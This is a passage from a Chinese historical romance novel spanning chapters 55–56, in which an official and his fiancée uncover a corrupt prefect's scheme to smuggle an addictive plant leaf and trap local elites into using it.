她看着地上被日头晒出的影子,捏着衣袖,慢慢道:“我小时候,去家里的香药铺子玩,不知道有一款香丸折价出售,按原价收了客人银钱,五叔抱着我追了客人大半条街,把差价还上了。爹爹也正是觉得五叔诚实可靠,才每次出海都带着他。” 上一次出海,正是去年七月。 馥梨停下来,同陆执方对视。 陆执方正想说什么,目光忽而越过她,看向了她身后,馥梨转头,就见曾经在医馆看到的那两个衙差羁押着踉踉跄跄的男人,往他们这边来,带着一丝欣喜:“陆大人,逃犯可算抓到了!” 馥梨看着他越来越近的面容确定,真的是五叔。 五叔头发凌乱如杂草,眼神游离不定,触及自己时,嘴唇微微颤抖,像是有话要说。 一句高声通报,自前头的矮墙外横插进来——“定南知府到!” 五叔像是受到了极大的惊吓,突然冲向墙壁,用力撞去,同时嘴里胡言乱语起来。“为官不仁,鬼魅缠身!鬼魅缠身,天谴将至!天谴将至哈、哈!” 对如溪县的衙差来说,定南知府嵇锐进就是比陆执方还大的官儿,顶天般的存在。 毕竟赈灾钦差事情办完,不知哪日就走了,嵇锐进稳稳坐在这官位上可是十多年了。 方才急着将功补过的衙差猛地拉起了五叔,一边训斥,一边将他往羁押地赶:“胡言乱语什么呢?把嘴闭上!赶紧回去好好待着!” 陆执方淡声吩咐:“单独关起来。” 衙差应道:“卑职得令。” 馥梨亦步亦趋,走到五叔身侧,小小声问:“你真的不认得我吗?五叔?”五叔只是眼神空洞地望着前方,仿佛根本没听见。 陆执方停在原地,整了整衣袖。 矮墙那一头,绕出来一个步履从容的中年男子,圆眼长脸,蓄着小小一撮山羊胡,官服官帽穿戴齐整,身后跟着一群定南府官员,还有嵇二郎。 嵇锐进来得架势大,看见了陆执方正正站在门后,先扶正了自己的官帽,语气谦和地朝他一拱手:“想来这位就是钦差陆大人。” 陆执方颔首:“嵇大人。” “下官一听闻如溪县民壮闹事,就从定南赶来,灾情简报上出了纰漏,下官难辞其咎。” 嵇锐进语气沉痛,他身后一个主簿垂头丧气,被摘了官帽,由衙差押着上前。 “嵇大人这是何意?” “陆大人有所不知,”嵇二郎上前陈述缘由,“隐瞒如溪县灾情之事,正是编撰简报的主簿所为。他同如溪县乐平村的人就旧怨,又收受了安浚县、义宁县豪强大户的钱财,才隐瞒不报。我父亲一时不察,急着纾解灾民困顿,才命我把有疏漏的简报呈递给陆大人。并非有意为之。” “二郎无需解释,”嵇锐进抬手制止他,“此事我有失察之过,陆大人要如何呈报,悉听尊便。主簿收受的贿赂,下官已命人从他家宅中缴出,等陆大人带回去充公。此外,为了挽救如溪县的损失,下官已将府库所剩不多的粮食白银调来,还征调了两百身强力壮的民夫,来替如溪百姓重建屋舍。” 陆执方眸中闪过一丝异色。 若非是此情此景,他要忍不住为嵇锐进叫一声好了。先是把主簿推出来当替罪羊,再暗示金银贿赂可由他全权处理,最后用两百民夫做威胁。 情理、利益、威迫都考虑了。他若只是个没背景的京官被派到地方,嵇锐进给他的定然只剩威迫了。 陆执方牵了牵嘴角:“嵇大人考虑周详得当,面面俱到,难怪官位坐得这般稳。” “那陆大人的意思是……?” “钱粮人手都到位了,还等何时?即刻便动工吧。”陆执方点了如溪县的县丞和录事来,“还不带嵇大人的人手去各村接洽?” “是。” 乌泱泱挤着的人散了大半,嵇锐进和嵇二郎还留在原地。陆执方扫了父子俩一眼,“非常形势,衙门还有事情未忙完,陆某就不邀二位小酌漫谈了。不知嵇大人除了先前所言,还有什么旁的事?” 嵇锐进没料到他这样直截了当地赶客,愣了片刻后,摇头兀自一笑,“自是不耽搁陆大人公务了。” 陆执方朝他一礼,颀长背影转入了临时羁押地。 嵇二郎看着陆执方走远,“父亲?那王元五,真不管了?来时路上不是说要带回定南府?” 嵇锐进皱皱眉,抬手压下他的话,同他走到了更僻静处才停下。一番交涉下,他已知道陆执方不是好糊弄的。“你还是太年轻,看人看得不清楚,叫他暗度陈仓来了如溪。我要是无故再调走王元五,他定然会起疑心,追查下去。还不如先静观其变。” 羁押地的单独牢房。 一扇直棱小窗对着外头空地,照进来日光。 狱卒在远一些的地方,听不到馥梨说话。她已经蹲在栅栏外好一会儿,五叔只留给她一个背影,任凭她说得再多,都只盯着那窗外空地瞧,很偶尔了,才朝她发出“嘿嘿”两声笑,又转头去看空地。 空地上停着两架板车,堆满了大麻包袋,里头是粥棚救济用的陈粮谷米,厨娘每日都来扛两袋走。 这里县尉和衙差来来往往。 存放在此地,最不容易被灾民偷拿。 “五叔,我爹到底遇上了什么事?他为何会欠下那么多印子钱?”馥梨碎碎念地再问,脑袋上盖来一个宽厚的手掌,揉了揉她头。 她仰头看,“世子爷回来了。” “问出什么了?”陆执方拉起她,看她抖了抖略微酸软的腿,小眉头皱成个川字,就知是一无所获,“你先去医馆忙,晌午时分再来。” 馥梨点头,看五叔瘦削的背影,他好像在偷偷听她和陆执方说话,姿势比之前偏了一点点。她悄悄拉了拉陆执方的手,做了个口型:“出、去、说。” 她觉得五叔是在装疯卖傻,她想试试看。 单独牢房不用同其他囚犯挤。 这夜里,王元五却睡得不如往日踏实,狱卒不知为何,连张草席都没给他。他和衣躺在冰凉的地上,迷迷蒙蒙至深夜,觉得眼前太亮堂,还有什么人在敲他窗户,哒哒哒,搅扰得他睡不好。 王元五爬起来一看,倏尔睁大了眼。 直棱小窗外的板车着了火,本来装粮食的麻袋被火焰吞没。那可是灾后有钱都难买得到的救济粮! 王元五口中发出含糊的呼喊声,越来越大声,惊动来的狱卒却是个生脸面,浓眉大眼,声音比他还要洪亮,“嚷嚷什么呢?有觉不睡!” “啊!啊!啊呜!”王元五手急忙指向直棱窗外,像惯常一样无甚意义地胡言乱语。奈何狱卒像是瞎了似的看不见,腿一迈就要走了。 “起火了,粮车起火了,你看不见吗!快救火啊!”他手伸出栅栏,一把扯住了魁梧结实的狱卒,语气里带着焦急、恼怒,“你他娘快去救火啊!” 狱卒慢慢地回头,一根根掰开了他的手指,虚空一点窗外头,“你看清楚了,那是不是粮车。” 王元五错愕,转向直棱小窗外,几步跑过去。 小板车的火给人扑灭了,露出了麻袋里没有烧净的东西,是一蓬一蓬的枯草。直棱窗外,有女孩儿作小厮模样打扮,即便是这样,他也能认出来。 这是他从小看到大的迟家姑娘,小梨儿。 小梨儿关切地看着他,眼眶有些发红,喃喃地道:“五叔,我都听见了,你没有疯。” 她身旁出现了第二个人的脸,是白日里他见过的那个年轻官员,他听见小梨儿喊这人世子爷。王元五身后的狱卒打开了监牢,一路畅通无阻地将他领到了羁押地外,看守人员都已经被支开了。 馥梨问的还是同一个问题:“五叔,我爹到底遇上了什么事?他为何会欠下那么多印子钱?” 她目光在他憔悴的脸上轻轻落下,抬手拨了拨他颊边的乱发,“还有你,你为何会被关在这里?” 王元五沉默了许久,看向不远处守候的陆执方。青年气度清朗,身姿挺拔,同如溪县周遭的人和事都有一种格格不入。偏偏是这个人,叫他们这些囚犯也去医馆看了病症,喝了对抗时疫的药剂。 “小梨儿,他信得过?不是和嵇锐进一伙的?” “信得过的,五叔。”小梨儿看着他,认认真真解释道:“除了家人,他是我最信任的人了。” 第55章 竹床藤簟晚凉天,卧看星…… 陆执方守在不远处,望见馥梨朝他招招手,他走近二人,王元五才说了开头:“定南府的最西南辖地是洛州,洛州有开了海禁的洛州港。你爹与海外互贩香药,跑得最多的就是洛州港。” 馥梨点头:“这个我知道的。” 可是爹爹上次从洛州港顺利出海,渺无音讯,连同一整条船的商队都不见踪影。唐家商队回到淮州,才带回来她家商队遇到了海难的消息。 “没有海难,商船完好无损。”王元五提起来,面色凝重无比,“前年年末,有定南商人找到你爹,要从罗竺国进口一批植物做香药,许诺了丰厚利钱。你爹接了订单,出海快半年回来交货,对方验完货,没隔多久就找你爹下了第二笔订单。但这一次,你爹却说什么都不愿意接了。我问也问不出缘由。” “我与你爹歇在客栈,本打算精神养好了就回去淮州,定南官府的人突然闯进来,以私贩违禁物的罪名抓走了我们。监牢里,都是一同出海的船员。” 王元五的脸色变得惨白起来,深吸了一口气: “你爹被知府喊去单独审讯了一夜,再出来时,我们都被释放了,不是回家,是回商船。他欠的印子钱,就是那时被强迫签下的,只有带着货回来,那间黑钱庄才会抹掉债务。” “当时的商船上,除了惯用的航海士和舵手,三十五个船员都当场被杀了,换成了他们的人手。” 王元五的声音止不住地颤抖,每每想起来,喉头都会泛起恶心作呕的感觉,“我受不了那场面,船舱里到处都是血,刺激之下失了神志,也不知道你爹是如何与对方交涉的,等我再清醒过来,并没有被带出海,而是被关在了监牢。” 馥梨听得胆颤心惊,五叔说的这些船员,有好些人家也在淮州,她都见过的,“所以,唐家说……说是海难,还在海面见到了很多船员尸体,是商船出海航行后,把尸体都抛到了海面上。” 一直沉默听着的陆执方插了话:“既然你爹没有遇难,那么商船从去年中秋出海至今,已快大半年,他若平安,很快就会带着他们要的货物归来。” 王元五看了馥梨一眼,点点头。 馥梨听到这里,三魂七魄似乎才归位,“可是,五叔为何会来到如溪县,而不是在定南府?” “定南是首府,府衙事务繁多,人员来往复杂,监牢里被上级提审与监察的情况更多。”陆执方淡声解释道,“我若是嵇锐进,也会把五叔转移。” 同定南府比,如溪县地方偏远,不但亲属难以找寻,王元五每日接触的人都有限,消息难传递出去。 王元五眼眸黯然,“我最先被关在单独牢房,夜里时常梦魇呓语,大声喊出被杀船员的名字……实在控制不住。白日清醒过来,我又怕嵇锐进起了杀意,便装疯卖傻,时日久了,就被转移来如溪县了。” 他是跟在迟晋身边管采买和银钱账目的。 对香料植物,不如迟晋精通,被关在监牢里独自想了许久,那些植物定然不是用来做香料,而是用来做更贵重、价值更大的东西。 “那种植物叶子是灰绿色,如五指掌状,覆盖着密密的短柔毛,叶片边缘有粗锯齿,再多的,我也想不起来。那个来谈订单的商人把这种叶子叫洋麻。” 王元五一下子说了太多话,声音渐渐嘶哑,头痛起来,不断地敲打自己脑袋,“我恨我当时太糊涂,要是再多问问你爹,说不定还能知道得更多。” “五叔别这样,”馥梨拉住他的手,觉得他身体状况实在算不得好,不止形销骨立,精神都萎靡了许多,“世子爷,五叔他……他能放出来吗?” “突然放出来太惹人注目了,”陆执方摇头,“但可以让他在牢里条件好一些。”他看看月亮偏西落下的位置,推断了时辰,“他差不多该回去了。” 王元五回去前有犹豫,看向馥梨。 “小梨儿,定南是嵇锐进的地盘。这事你和这位大人要是有把握,才好牵扯进来,要没有,还是趁早离开,想办法把此事报到皇都去。你爹出来行商,最惦记的就是你的安危。他会罗竺国的语言,懂得辨别植物香料,对嵇锐进还有用处,还能留得命在。” “我知道的,五叔莫担心。” 馥梨认真地点头,目送他回到临时羁押的地方。 这一日过得疲惫,变数太多了。 心事重重的人,躺到矮榻上,就是辗转反侧。陆执方数着馥梨转了第五次身,起身点了灯。 “横竖都睡不着,来说说。” “说什么?” 馥梨抱着被子坐起,看陆执方一身雪白中衣,衣襟在睡觉时弄得微皱,乌发披散,眼眸如平日冷静。他在竹席上盘腿而坐,姿态依旧很放松。 “五叔口中的洋麻,可有头绪?你跟着师娘编撰药典,有碰到类似的草药植物么?” “世子爷怎么知道我在想这个?” 陆执方一点她额头,“你说呢?” “有碰过类似的,可只有种子能用作药物,起的是润肠通便的功效,跟叶子没有太大关系。”馥梨想了想,“既要大费周章从罗竺国进,就是在我们这里种不好的,师娘的药典上都是本地草药。” “那着手处还是在定南府和洛州港。” 陆执方长指蜷缩,敲了敲膝头,“既然是私贩,船上又是嵇锐进的人在操控,大抵会在夜间到港,才不会引人注目。要是能先嵇锐进一步,接触到你爹,就有机会找到人证物证。” “所以,第一步,先派人到洛州港蹲守。” “我可以把我爹,还有航海士的画像画下来。”馥梨回忆,还记得船上一些人的面容,“我爹的商船还刻有菱花纹的商号徽标,不知道会不会被遮盖。” “有备无患。” “好。” 馥梨点头,捏了捏被角,“那第二步呢?” “第二步,”陆执方语气微妙,“嵇锐进白日想向我行贿,我没理会。第二步是收了他的好意。” “……世子爷。” “要嵇锐进打消顾虑,得先露个把柄,让他握在手里。商船出海风浪多,归期不定,不能只在洛州港守株待兔,定南府这边也要查。” “这会不会影响你的仕途?” “等定南灾情稳定后,钦差名号收回去,我就是翁沙县的小小知县,有什么仕途能被影响到?” 陆执方不置可否。 馥梨眼神闪了闪,把玩笑话当了真,又被他点了一下额头。“不会影响,是桩大案,等证据确凿了,报回皇城,陛下还会把我调回去。” “当真?” “何时骗过你。” …… 一番商谈到了深夜,再不睡,就能看到拂晓了。 陆执方吹灭了灯,重新拥她入怀。 馥梨手指绕着他衣衫细带,有一下没一下打圈。 “我岳丈还活着,如此,还不能安心睡?” “谁说是岳丈了。” 馥梨面上微热,丢开了那根细带。 陆执方手圈在她腰上,寻到腰侧,不重不轻地掐了一下。此刻还能想起清晨那细腻如琼脂的触感。 “兄长加官进爵,不打算对我负责了?迟姑娘都与我同床共枕这许多日,本官早已清白全失。” 他话音渐低,语气有几分轻浮和幽怨。 馥梨没见陆执方这般不正经过。 有些难为情,又有些心软,知道他是故作孟浪,好转移她的注意力,冲淡满心忧思。她无声弯了唇,在他鼻尖亲了一口,慢慢喊道:“陆执方。” “嗯?” “陆执方,陆执方,陆执方……” 小娘子将香馥馥的唇送上,一下下轻啄,喊一声他的名字,亲一下,像某种奖赏。他闭着眼,愉悦似涓涓细流,淌过他的面上,徐徐浸透到了四肢百骸。 他手掌顺着她秀项抚上,用力压向自己。 温情脉脉的吻变了意味,唇齿交缠的细微水响,挑起早被牵动了的情潮。陆执方吞没她轻声嘤咛,将人不留一丝缝隙地嵌入自己怀中,已到克制的极限。 “等此事了了,一回到皇城,我便去提亲。” 馥梨被他炙热体温包裹,清晰感受到了某种张扬的变化,顾不得羞意,慢慢点了点头,“好。” 竹床藤簟晚凉天,卧看星河小院偏。 小屋窗扉漏出了一线夜幕,繁星熠熠,明日又是阳光灿烂的好天气。馥梨拥着与她心意相通的郎君,有即将久别重逢的家人。 这么一想,即便前路艰险,也无甚畏惧了。 【正文完】 第56章 他也会是她…… 绿树浓阴,夏日渐长。 陆执方带着户部与工部官员两头奔忙,定南一带受洪涝影响最严重的县、镇日益恢复生机。农田经过修复和整理后重新翻耕,散播下应季种子;遭到洪水浸泡受损的房屋经过修缮,焕然一新,家家户户每到晌午和日暮,屋顶都飘出了袅袅炊烟。 待到蝉鸣四起,暑热更盛时。 户部与工部官员功成身退,回京中述职,临走前带上了陆执方亲手所写的厚厚一叠奏报。这等消息,自然瞒不过嵇锐进安插在翁沙县的眼线,没多久就把事情报到了定南首府的嵇宅里。 嵇宅看似古朴,前庭后院,穿过中门别有洞天。 后花园奇珍异草,连鲤鱼池边的石阶都用汉白玉铺就。嵇锐进正在池旁,捻了一把鱼食慢慢地撒下。五色锦鲤肥硕,在波光粼粼的碧水里抢食。 他听过了消息,眉头都未曾皱一下。 “下去吧。” “父亲不好奇那奏报里写了什么?” 嵇二郎待报信人走远了,才询问道。 “陆执方要是随户部工部的人回去,我才该担心,而今他收了我的钱财,人又留在翁沙县任地方官,没必要与我闹得鱼死网破。” 嵇锐进拍净手上碎屑。 他料定了陆执方不会再揪着如溪县灾情不放,却未料到,大半月后,朝廷还是派了人来。 “嵇大人,府衙门外来了个京官求见。” 守门衙差将印有官符的公文双手呈上。 嵇锐进一眼扫过,上头只说接洽,没说具体何事,他心头一凛,带人从府衙迎出去门口,待看清楚来人身后跟着的大箱小箱时,便松了一口气。 如此阵势,绝非兴师问罪。 “阁下就是定南知府嵇大人?” 这次户部来的官员脸生,看似从未到过定南来,看到嵇锐进点头后,命人把大箱小箱都抬进去。 “嵇大人,我们入内说话。” 人入到府衙内,大箱小箱的盖子都打开。嵇锐进眼前一晃,里头竟全是雪白发亮的新银锭。 “李大人这是……何意?” “陛下看过了奏报,得知是嵇大人临危不乱,安排得当,组织底下人探查了各地灾情,才使得陆钦差能如此之快就稳定了灾情,啊……如今得叫陆知县了。” 负责押送的李大人笑眯眯改了口,“总之,嵇大人对赈灾有功,陛下知道定南百废待兴,特命户部送来官银帮扶农工。这笔钱,嵇大人务必要用在刀刃上。” “一定,一定。” 嵇锐进言辞恳切,安排了同僚给对方接风洗尘,转头又吩咐府衙主簿和录事清点了府库。 主簿和录事皆是面露喜色。 帮扶农工的官银,账面上一套,账面下一套,在嵇锐进身边,便是手指缝漏下来的好处都足够多。 “大人为何看着忧心?”主簿点完了官银来报数。 嵇锐进看看远处那堆白花花的银子,目光沉了下去,“因为本官从来不相信天上掉馅饼的事。”谁说得清楚,这是不是一个陷阱,抑或是一次试探。 一连三四天过去,嵇锐进没动那批官银,也没等到朝廷新派人来,只听闻了陆执方要摆宴席的传闻。 “是为他未婚妻过生辰。” “在定南最精致豪奢的酒家明月楼。” “定南府和各州高门大户家都收到了帖子。” 嵇二郎并不确定,“父亲,我们要去吗?陈家、钱家还有李家都在等我们点头。” “给嵇府递帖子了吗?” “没有,但陆世子找人问了我,定南府有哪家酒家菜肴做得最好,最适合宴请宾客。” “哈,醉翁之意不酒。” 明月楼里,玉盘初鲙鲤,金鼎正烹羊。 酒樽明光潋滟,盛满了甜蜜适口的果子酿,正对年轻女郎们的胃口。馥梨举着酒杯,同许多今日才初见的小娘子们观赏胡姬在新月锦毯上跳胡旋舞。 陆执方在楼下宴男客,她隔着薄纱帘,一眼就能望见,嵇锐进一家并没有来。她刚一分神,就听见坐旁边的郑家夫人调笑:“还未成婚,就这般郎情妾意,婚后是要怎么如胶似漆,羡煞旁人。” “就是啊,陆世子来之前,本还觉得定南几家郎君还算相貌堂堂,陆世子来了,我可算见着什么叫芝兰玉树了。就是配迟姑娘这样的,我才心服口服。” 钱家女郎喝得微醺,说话大胆,还不得罪人。 馥梨只是腼腆地笑,捧着酒杯又慢慢抿了一口。 她是宴会主角,来的各家要么是定南大商户,要么是各州官夫人和小姐。众人捧场送礼说好话,却不是冲着她,而是冲着陆执方身后的镇国公府。 就这么捱到了宴散。 馥梨送走了各家,看荆芥把堆成小山样的礼物盒子一件件搬上马车,快占去了大半空间。陆执方浸在薄霜般的月色里,穿一件黛蓝底白鹤纹圆领袍,朝她慢慢伸出了手,“脸红成这样,真没喝醉?” “在里头叫酒气熏的。”馥梨搭着他手上了马车。 车内位置一下子变得挤了,陆执方再进来,干脆与她调了位置,叫馥梨坐在自己怀里,只吩咐驾车的荆芥:“行得慢些,少颠簸。” 荆芥应声,催动马儿慢慢走起来。 馥梨像只小狸奴闻到新奇事物,在陆执方肩头嗅了嗅,又去嗅他衣襟,小鼻尖触得他锁骨发痒。 陆执方忍了忍痒意。 “作甚?” “你身上有奇怪的味儿。” “是吗?” “郑家夫人和钱家娘子身上也有这味道。” 陆执方脸色微妙地变了变,在男宾酒席上,郑家和钱家郎君坐得同样是离他最近的。 “什么味儿?” “说不清楚,是衣裳熏香盖不住的味道。”馥梨皱了皱鼻子,“有些甜腻,像烧了潮湿干草的味道。”她嗅完陆执方,又嗅自己,“我身上也染了,不好闻。” 小娘子的脸皱巴巴的,表情不满意。 “闻这个。”陆执方将腰上佩戴的香囊解下来给她,“里头有驱蚊防疫的香草。” 香囊的味道清新,馥梨攥着嗅,感觉舒服了些。 “世子爷,嵇锐进没有来,宴会是不是白办了?” “谁说的。这一车珠宝绸缎,就没一件喜欢?” “又不是真生辰,迟早要还回去。” 馥梨掀起薄薄的眼皮,嘟囔了一句。 “真生辰也没几日了,想要什么礼物?” “想要……”她声音低下去,“想要爹爹快些回来。”派去洛州港蹲守的人日夜轮换,都没有发现她爹和出海商船回来的任何踪迹。 “会等到的。”陆执方声音柔和,手掌在她颈后一下下安抚,忽地,马车急停,两人齐齐往前一倾。 “怎么回事?” “爷,嵇知府的马车在前头。” 陆执方朝挑了帘的车窗去看,前头一架华盖雕车,吊着一盏花灯,绘了定南府的图样。嵇二郎从车上下来,双手捧着个礼盒靠近,“这是给世子夫人的礼,家父在车上,有几句祝贺想叫世子代为转达。” 这是邀他到马车里谈话。 陆执方接了那礼盒,打开看了一眼,是只手镯,他递给馥梨,捏了捏她手掌,“在这里等我?” 馥梨点头,窝在马车角落,看他下了车。 果子酒后劲慢慢浮上来,人有些无力,另一手攥着那香囊慢慢嗅,不知是嗅得久了,还是人醉了,觉得清新馥郁的味道变淡了许多。 她慢慢解开香囊口的绳索,想把香料拨出来。 手指一顿,香囊里还有东西,不是香料碎屑,是叠成一卷的小纸张。馥梨试着抽出来,车门外又听见荆芥催马儿走动的声音。 “荆芥小哥,我们不等世子爷了吗?” “世子爷刚才打了个手势,叫我先送你回去。” 荆芥驾车的速度变得快起来,语气透着担心,“馥梨姑娘,咱走快些,我回头去接世子爷。” “好。”馥梨把香囊的物什塞回,扶着车壁坐稳。 嵇府的马车宽大,还燃着熏炉。 陆执方一落座,便省却了客套话,开门见山道:“嵇大人有何恭贺的话,要我转达?” “陆世子进下官马车,当真是想听一句祝贺?” 嵇锐进笑笑,盯着眼前青年郎君的眼睛。 盛装打扮的青年郎君挑挑眉,谈兴不高:“那么大一笔官银,我帮嵇大人拨过来府库,嵇大人只回礼了一只水头寡淡的玉镯。难道不是此意?” “那是提振农工的官银,下官不敢擅自挪动。” “嵇大人敢收郑家、钱家的金银,敢谎报灾情帮大户减免田地赋税,却不敢与我分一杯羹。再说下去,那就没意思了。”陆执方失了兴致,作势要下马车。 嵇锐进被他点破了,脸色未改,沉声唤住要下车的陆执方:“陆世子留步。” 陆执方身形一顿,并未回头。 “恕下官眼拙,是真看不清楚陆世子所求。” 嵇锐进谨慎惯了,他们这些没有身世背景的人,寒窗苦读十多载才挣得个小小官位,从底层汲汲营营往上爬,为自己谋利,稍一不甚就摔得头破血流。 光是坐稳定南知府这位置,就花了十多年。 可陆执方不同,含着金汤匙的人没必要冒险。 “嵇大人只坐在自己的位置看我,怎么看得清?” 陆执方转头,意兴阑珊的面上终于露了点玩味的笑意,他坐回去,点点嵇锐进座下,“世间为官者,名利两难全,空有清名的两袖清风,一年俸禄勉强温饱,而盆满钵满的,日夜被天下百姓戳着脊梁骨骂。” “可我生在陆家,我有办法兼得,何不为之?” 马车内一阵寂静。 嵇锐进面上戒备如凝固坚冰,在徐徐不断的熏风下有了一丝丝松动,但仍旧抿着唇,并未接话。 陆执方不在意他信不信,如赌桌上放筹码,对手要接就继续,不接就终局,“我隐瞒令郎,偷偷去如溪县赈灾,并非是什么心怀天下的好官,而是不想留下自己政绩上的污点。定南府好山好水,八方来财,我既然来了,就不想错过。” “旁人看镇国公府风光,可陆家同那些百年大族不一样,是我祖父那代拿命搏才起的家,谁能保证代代圣眷不衰。拿到了手上的真金白银,才最牢靠。” 话说到这里,算得上是推心置腹。 嵇锐进思忖良久,“世子爷要什么条件?” “我能帮嵇大人弄到的,就像那批官银,四六分,嵇大人在定南有好营生,也同我说道说道。翁沙知县一个月俸禄,都不够我往后给夫人买一根簪子。” 陆执方想到那微薄俸禄,面有郁色。 嵇锐进闻言笑了。 “方才给的玉镯子是仓促间准备的。寒舍还有更衬世子夫人的贺礼,世子若不嫌弃,与下官回去挑拣?” “那就却之不恭了。” 陆执方颔首,慢慢挑起了他这一侧的车帘。 亥时人静。 薄帷透明月,清风拂窗槛。 馥梨在定南府客栈的上房歇了好一会儿,才听见隔壁房有细微动静,是陆执方与荆芥说话的声音。她披衣起身,趿拉着绣花鞋去看,荆芥侧身让她进去。 陆执方刚洗漱完,下颔挂着层细微的水珠。 他肤色生得白皙,来定南赈灾后事事躬亲,晒黑几分,此刻在灯下,竟好似回到在京中时。 馥梨仰着头,端详他脸色。 “怎么脸色这么难看?” “有吗?” “是不是同嵇锐进说什么了?” “说了些他在定南私贩海货的营生。” “可有五叔说的那些洋麻?” “有,”陆执方定定看了她一会儿,似下了什么决心,从换下锦衣外衫的袖囊里翻出一个油纸样的包裹,只有掌心大小,“这里头就是五叔所说的洋麻叶。我设法得了一些,嵇锐进还不肯透露真正用途,只说是奇药。定南府遍布嵇锐进的眼线,你拿着它回京中找师娘,她认识钻研岐黄药理的奇人异士多,说不定会有头绪。” 馥梨点头,下意识要打开那个油纸包查看。 陆执方沐浴过后温热的手掌覆上来,“是用碾子处理过的干叶碎片,别开,打开了撒一地。” 馥梨听了顿住手,只放到鼻子底去嗅嗅,陆执方好笑,一把圈住她腰肢,将她抱起到桌上坐好,随手将油皮纸包裹摘下来,压到桌面茶壶底下。 “什么都靠嗅的,你是小猫小狗吗?” “我娘就说我是小狗鼻子。” “那闻闻我身上,那股怪味道,洗净没有?” 陆执方凑到她面前。 馥梨认真闻了闻,青年郎君身上有热水气息,有客栈供的香澡豆味,素绢中衣还有皂角的草木清香。那种甜腻奇怪的味道,已经变得很淡很淡了。 “没有了。”馥梨在他耳边说,又问:“那我什么时候要回京里找师娘?师娘查到结果了怎么告诉你?” 陆执方默了片刻,“明日一早就走,荆芥送你。” 馥梨愣了,“这么快?” “木樨还留在镇国公府,你查到了找他,他知道怎么样找我最快。不说了,快些回去睡。” 陆执方突然断了话题,将她抱回隔壁厢房。 他们来定南摆宴游玩,他不止一掷千金摆了豪奢宴会,连落脚客栈最顶层的上房都全包了。 馥梨安安静静地任由他将自己放回床铺上,陆执方亲了亲她额头,就要走,被她拉住了衣袖。 “世子爷。” “莫非来定南府认床,独自睡不着了?” 陆执方浅笑一下,回握她的手。 在翁沙县、如溪县赈灾时,尚且说条件简陋,没法子讲究,如今她以未婚妻身份出现,又不一样了。 有些礼节,该守还是要守。 可小娘子一双杏眼被镀上烛灯的漫漫柔光,清澈如溪水的瞳仁里映着他的缩影。她慢慢道: “陆执方,你漏了个东西。” “何物?” “那包洋麻叶的碎片,你没拿给我。” “明日启程时,再拿给荆芥也一样。” 陆执方不置可否,听见她问:“你是忘记了拿,还是特地不拿,怕我今夜偷偷打开来琢磨?” “……” “那个油纸包就是封得密实,不可能一丝气味都不泄露,我闻到的是藿香味,同那种甜腻不一样的。” 馥梨语气温和轻软,话语却出奇敏锐,带着抱怨,“你还说何时骗过我,现在就骗我了。” 陆执方一时失语。 她拽着他袖子,轻轻一拉,挺拔如松鹤的郎君就被她轻而易举拉了回来,“为何想要我走?” “定南危险,比我想的更甚。” 陆执方语气冷静,“你在这里,我会分心。” 人有所爱,就是软肋,该当保护好了,才能心无旁骛地面对困难险阻。 馥梨静了静,“所以,那些洋麻是做什么的?” “听过寒食散吗?” “我只知道它会上瘾,伤身,不知具体是何物。” “一种炼丹所得。前朝风流文士圈盛行玄学清谈,相信服用寒食散,能够激发灵感,达到飘飘欲仙、忘却烦恼的顿悟开明。后有名医撰写论著,直指寒食散危害,加上有识之士抵制,前朝官服才禁止。” “那些洋麻……被用作寒食散了?” 陆执方摇头,“传闻寒食散用后,人会觉得全身发热、口干舌燥,洋麻没有这症状。我在嵇府看到用洋麻叶做成的药丸,据说服用一个时辰可觉通体舒畅。嵇锐进的人还在研究更快起效的用法。我推测,就是你说的烧干草的味道,用灼烧的方式。” 馥梨听到这里,已是睡意全消,翻身坐了起来。 “他们没有逼你吃下去吧?” “用了个障眼法,勉强躲过去。” 陆执方对上她担忧的表情,伸手抚了抚她眉心,“若非如此,怎么会放心将事情袒露给我?” “那药丸呢?” “一出嵇府就给黄柏了,他脚程快。” 黄柏才是真正带着药丸回京中报信的人。 一颗半颗,太医署未必能研究出个名堂,只方便他在陛下那交个底,必要时能得到更多人手。虽然不知道这人手在需要时,来得够不够及时。 “定南高门大户那圈人,已经对这玩意上了瘾,同嵇锐进搭上了一条船。他贪心不足,还想把药丸卖到京中去,卖出更高价,才冒险向我展示。” 陆执方捏过她的手,果不其然,触到她指尖发凉,他攥了一会儿没攥热,拿起来贴在自己心口。 馥梨触到他紧实胸膛,随陆执方说话时,微微震颤,他温声催促:“你再不睡,子时都快过了。” 馥梨没说话。 陆执方声音放得更柔,“小梨儿?”他知馥梨不想走,就像当初她陪着他来赈灾那样。可是这次不一样,他还待再劝,馥梨忽然抱住了他。 “我回去,我去找阿兄,问他借人给你。” “还未成婚,就问大舅子借了人,他日后看我不顺眼如何是好?”陆执方无奈地笑,怀里姑娘没被开解,反而吸了吸鼻子,“这本就是,同我家有关的事。” 是追查她爹爹出海真相才牵扯出来的。 陆执方若不认识她,大可换个更稳妥的解决方式,没必要以身犯险。留在定南被嵇锐进一步步拉进这趟浑水里,这次能用障眼法躲过去,下次呢? 馥梨抬起眼眸,微微湿润的泪花很快干了,“你在这里等着我,我很快,很快就找到阿兄的人来帮忙。” 陆执方点头,“好,我等你搬的救兵。” 他低头吻下来,吻里带了些离别在即的缠绵。 馥梨闭眼感受着,在陆执方又要克制地退开时,伸手抱住他。青年郎君中衣穿戴规矩,那系带她早已熟悉,轻轻一拉,就露出了与她迥然不同的身躯。 “世子爷还有事瞒着我吗?” 馥梨抬眸盈盈一眼,指头触碰上那腰线,那层薄薄的肌理霎时紧绷,“你只得今晚坦白了。” 陆执方身形一滞,吸了口气,“没有。” 她指头不安分地游移,在他腰间写写画画,划拉出的痒意像游蛇,一丝一缕发散,陆执方被搅得无法全神贯注,去分辨她到底写了画了些什么。 馥梨的写写画画并无意义。 青年韧薄的皮肤,触着手感很好,那双素来清冷沉静的眼眸,如今因她随手描画,泛起波澜来,像极映月寒潭被搅动,月影溶成粼粼碎光,荡入心里。 陆执方瞒着她的,可多了。 否则,他今夜给她的香囊里,怎么会藏了她当初随手画他的小像。那是陆执方第一次被召进宫去见公主,彻夜未归时,她画了折成纸蜻蜓放进树洞的。 香囊里只有这么一张。 亲手勾勒的俊颜落在皱巴巴的纸面,隔着快半年的时光,叫更多蛛丝马迹纷至沓来。她想要的,她未曾想过要的,原来并非是神明庇佑。 怎么许过了这么多愿望,都没认真看一看? 树洞里没有老神仙,有个面冷心热的郎君,将她的纸蜻蜓一个个收好,让蜻蜓振翅,飞进了现实。 馥梨手渐移渐上,按在了陆执方心脏跳得激越的胸腔,声音有些颤:“心跳好快,同我的一样。” 她拉过陆执方手掌,慢慢按在她的心上。 